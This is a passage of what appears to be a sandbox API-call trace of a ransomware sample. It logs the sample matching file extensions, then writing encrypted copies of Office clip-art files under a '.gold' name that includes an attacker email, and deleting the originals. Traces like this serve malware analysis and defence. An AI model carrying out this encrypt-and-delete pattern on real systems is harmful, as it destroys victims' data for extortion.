(lpString=".pdf") returned 4 [0106.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".xls") returned 4 [0106.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.952] lstrlenW (lpString=".xlsx") returned 5 [0106.952] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.952] lstrlenW (lpString=".ppt") returned 4 [0106.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".zip") returned 4 [0106.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.952] lstrlenW (lpString=".rar") returned 4 [0106.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".bz2") returned 4 [0106.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".7z") returned 3 [0106.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".dbf") returned 4 [0106.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".1cd") returned 4 [0106.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".jpg") returned 4 [0106.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".doc") returned 4 [0106.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".docx") returned 5 [0106.952] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.952] lstrlenW (lpString=".pdf") returned 4 [0106.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".xls") returned 4 [0106.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.952] lstrlenW (lpString=".xlsx") returned 5 [0106.952] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.952] lstrlenW (lpString=".ppt") returned 4 [0106.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".zip") returned 4 [0106.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.952] lstrlenW (lpString=".rar") returned 4 [0106.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".bz2") returned 4 [0106.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.952] lstrlenW (lpString=".7z") returned 3 [0106.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.952] lstrlenW (lpString=".dbf") returned 4 [0106.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.953] lstrlenW (lpString=".1cd") returned 4 [0106.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.953] lstrlenW (lpString=".jpg") returned 4 [0106.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.953] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.953] lstrlenW (lpString="J0107138.WMF") returned 12 [0106.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.963] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=17200) returned 1 [0106.963] CloseHandle (hObject=0x3ac) returned 1 [0106.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0107.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.023] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.023] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.023] GetLastError () returned 0x0 [0107.023] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4330, lpOverlapped=0x0) returned 1 [0107.025] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4340, lpOverlapped=0x0) returned 1 [0107.026] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.026] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.026] SetEndOfFile (hFile=0x3cc) returned 1 [0107.026] CloseHandle (hObject=0x3cc) returned 1 [0107.026] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.026] SetEndOfFile (hFile=0x3b8) returned 1 [0107.031] CloseHandle (hObject=0x3b8) returned 1 [0107.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0107.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".doc") returned 4 [0107.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".docx") returned 5 [0107.032] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.032] lstrlenW (lpString=".pdf") returned 4 [0107.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".xls") returned 4 [0107.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.032] lstrlenW (lpString=".xlsx") returned 5 [0107.032] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.032] lstrlenW (lpString=".ppt") returned 4 [0107.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".zip") returned 4 [0107.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.032] lstrlenW (lpString=".rar") returned 4 [0107.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".bz2") returned 4 [0107.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".7z") returned 3 [0107.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".dbf") returned 4 [0107.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".1cd") returned 4 [0107.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".jpg") returned 4 [0107.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.032] lstrlenW (lpString=".doc") returned 4 [0107.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".docx") returned 5 [0107.032] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.032] lstrlenW (lpString=".pdf") returned 4 [0107.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString=".xls") returned 4 [0107.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.032] lstrlenW (lpString=".xlsx") returned 5 [0107.032] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.032] lstrlenW (lpString=".ppt") returned 4 [0107.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.033] lstrlenW (lpString=".zip") returned 4 [0107.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.033] lstrlenW (lpString=".rar") returned 4 [0107.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.033] lstrlenW (lpString=".bz2") returned 4 [0107.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.033] lstrlenW (lpString=".7z") returned 3 [0107.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.033] lstrlenW (lpString=".dbf") returned 4 [0107.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.033] lstrlenW (lpString=".1cd") returned 4 [0107.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0107.033] lstrlenW (lpString=".jpg") returned 4 [0107.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.033] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.033] lstrlenW (lpString="J0107188.WMF") returned 12 [0107.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.034] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4536) returned 1 [0107.034] CloseHandle (hObject=0x3b8) returned 1 [0107.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0107.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.034] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.034] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.035] GetLastError () returned 0x0 [0107.035] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x11b8, lpOverlapped=0x0) returned 1 [0107.036] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0107.037] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.037] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.037] SetEndOfFile (hFile=0x3cc) returned 1 [0107.037] CloseHandle (hObject=0x3cc) returned 1 [0107.037] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.037] SetEndOfFile (hFile=0x3b8) returned 1 [0107.039] CloseHandle (hObject=0x3b8) returned 1 [0107.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.040] lstrlenW (lpString=".doc") returned 4 [0107.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.040] lstrlenW (lpString=".docx") returned 5 [0107.040] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.040] lstrlenW (lpString=".pdf") returned 4 [0107.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.040] lstrlenW (lpString=".xls") returned 4 [0107.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.040] lstrlenW (lpString=".xlsx") returned 5 [0107.040] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.040] lstrlenW (lpString=".ppt") returned 4 [0107.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.040] lstrlenW (lpString=".zip") returned 4 [0107.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.040] lstrlenW (lpString=".rar") returned 4 [0107.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.040] lstrlenW (lpString=".bz2") returned 4 [0107.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.040] lstrlenW (lpString=".7z") returned 3 [0107.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".dbf") returned 4 [0107.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".1cd") returned 4 [0107.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".jpg") returned 4 [0107.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".doc") returned 4 [0107.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString=".docx") returned 5 [0107.041] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.041] lstrlenW (lpString=".pdf") returned 4 [0107.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString=".xls") returned 4 [0107.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.041] lstrlenW (lpString=".xlsx") returned 5 [0107.041] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.041] lstrlenW (lpString=".ppt") returned 4 [0107.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".zip") returned 4 [0107.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.041] lstrlenW (lpString=".rar") returned 4 [0107.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString=".bz2") returned 4 [0107.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.041] lstrlenW (lpString=".7z") returned 3 [0107.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.041] lstrlenW (lpString=".dbf") returned 4 [0107.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.042] lstrlenW (lpString=".1cd") returned 4 [0107.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0107.042] lstrlenW (lpString=".jpg") returned 4 [0107.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.042] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.042] lstrlenW (lpString="J0107192.WMF") returned 12 [0107.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.042] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9968) returned 1 [0107.042] CloseHandle (hObject=0x3b8) returned 1 [0107.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0107.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.043] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.043] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.043] GetLastError () returned 0x0 [0107.043] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x26f0, lpOverlapped=0x0) returned 1 [0107.045] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2700, lpOverlapped=0x0) returned 1 [0107.046] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.046] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.046] SetEndOfFile (hFile=0x3cc) returned 1 [0107.046] CloseHandle (hObject=0x3cc) returned 1 [0107.046] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.046] SetEndOfFile (hFile=0x3b8) returned 1 [0107.047] CloseHandle (hObject=0x3b8) returned 1 [0107.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0107.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.048] lstrlenW (lpString=".doc") returned 4 [0107.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.048] lstrlenW (lpString=".docx") returned 5 [0107.048] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.048] lstrlenW (lpString=".pdf") returned 4 [0107.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.048] lstrlenW (lpString=".xls") returned 4 [0107.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.049] lstrlenW (lpString=".xlsx") returned 5 [0107.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.049] lstrlenW (lpString=".ppt") returned 4 [0107.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".zip") returned 4 [0107.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.049] lstrlenW (lpString=".rar") returned 4 [0107.049] lstrcmpiW 